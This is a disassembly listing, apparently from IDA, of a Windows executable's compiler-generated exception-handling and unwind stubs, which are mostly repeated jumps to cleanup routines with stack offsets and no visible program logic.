		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_4367C8
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438208:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_4367C8
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43828B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438296:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_4367C8
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_438530:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43854E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43854E:				; CODE XREF: ___:00438540j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_4367C8
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438570:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438594
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438594:				; CODE XREF: ___:00438586j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_4367C8
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385BB:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385C6:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_4367C8
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_4367C8
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_4367C8
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438638:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_4367C8
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43865B:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2FCh]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_4367C8
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CAh	dup(0CCh)
		dd 90C84D8Dh, 0C56A4CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409580	proc near		; DATA XREF: sub_409580+2o
		mov	eax, offset dword_43F098
		jmp	sub_4367C8
SEH_409580	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A290	proc near		; DATA XREF: sub_40A290+2o
		mov	eax, offset dword_43F0C8
		jmp	sub_4367C8
SEH_40A290	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438A86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438A86:				; CODE XREF: ___:00438A78j
		retn
; ---------------------------------------------------------------------------


loc_438A87:				; DATA XREF: ___:0043F124o
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A430	proc near		; DATA XREF: sub_40A430+2o
		mov	eax, offset dword_43F0F8
		jmp	sub_4367C8
SEH_40A430	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C569CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_438AB9:				; DATA XREF: ___:0040A952o
		mov	eax, offset dword_43F138
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AE10	proc near		; DATA XREF: sub_40AE10+5o
		mov	eax, offset dword_43F168
		jmp	sub_4367C8
SEH_40AE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AF90	proc near		; DATA XREF: sub_40AF90+5o
		mov	eax, offset dword_43F1C8
		jmp	sub_4367C8
SEH_40AF90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438AFB:				; DATA XREF: ___:0043F254o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B0B0	proc near		; DATA XREF: sub_40B0B0+2o
		mov	eax, offset dword_43F228
		jmp	sub_4367C8
SEH_40B0B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438B4B:				; DATA XREF: ___:0043F29Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B170	proc near		; DATA XREF: sub_40B170+2o
		mov	eax, offset dword_43F270
		jmp	sub_4367C8
SEH_40B170	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B210	proc near		; DATA XREF: sub_40B210+2o
		mov	eax, offset dword_43F2B8
		jmp	sub_4367C8
SEH_40B210	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BC8:				; DATA XREF: ___:0043F324o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B430	proc near		; DATA XREF: sub_40B430+2o
		mov	eax, offset dword_43F2F8
		jmp	sub_4367C8
SEH_40B430	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BF8:				; DATA XREF: ___:0040B5F2o
		mov	eax, offset dword_43F338
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C30:				; DATA XREF: ___:0040B8D8o
		mov	eax, offset dword_43F368
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C360	proc near		; DATA XREF: sub_40C360+2o
		mov	eax, offset dword_43F3B0
		jmp	sub_4367C8
SEH_40C360	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401AFF
; ---------------------------------------------------------------------------


loc_438C7B:				; DATA XREF: ___:0043F40Co
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C86:				; DATA XREF: ___:0043F414o
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C400	proc near		; DATA XREF: sub_40C400+8o
		mov	eax, offset dword_43F3E0
		jmp	sub_4367C8
SEH_40C400	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CB10	proc near		; DATA XREF: sub_40CB10+2o
		mov	eax, offset dword_43F428
		jmp	sub_4367C8
SEH_40CB10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40226B
; ---------------------------------------------------------------------------


loc_438CEB:				; DATA XREF: ___:0043F484o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438CF6:				; DATA XREF: ___:0043F48Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D01:				; DATA XREF: ___:0043F494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D0C:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBB0	proc near		; DATA XREF: sub_40CBB0+8o
		mov	eax, offset dword_43F458
		jmp	sub_4367C8
SEH_40CBB0	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D4B:				; DATA XREF: ___:0043F4D4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CE60	proc near		; DATA XREF: sub_40CE60+2o
		mov	eax, offset dword_43F4A8
		jmp	sub_4367C8
SEH_40CE60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D7B:				; DATA XREF: ___:0043F50Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D86:				; DATA XREF: ___:0040CEE2o
		mov	eax, offset dword_43F4E0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D130	proc near		; DATA XREF: sub_40D130+2o
		mov	eax, offset dword_43F518
		jmp	sub_4367C8
SEH_40D130	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DEB:				; DATA XREF: ___:0043F58Co
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D580	proc near		; DATA XREF: sub_40D580+2o
		mov	eax, offset dword_43F560
		jmp	sub_4367C8
SEH_40D580	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DB40	proc near		; DATA XREF: sub_40DB40+2o
		mov	eax, offset dword_43F5D0
		jmp	sub_4367C8
SEH_40DB40	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F28:				; DATA XREF: ___:0043F694o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
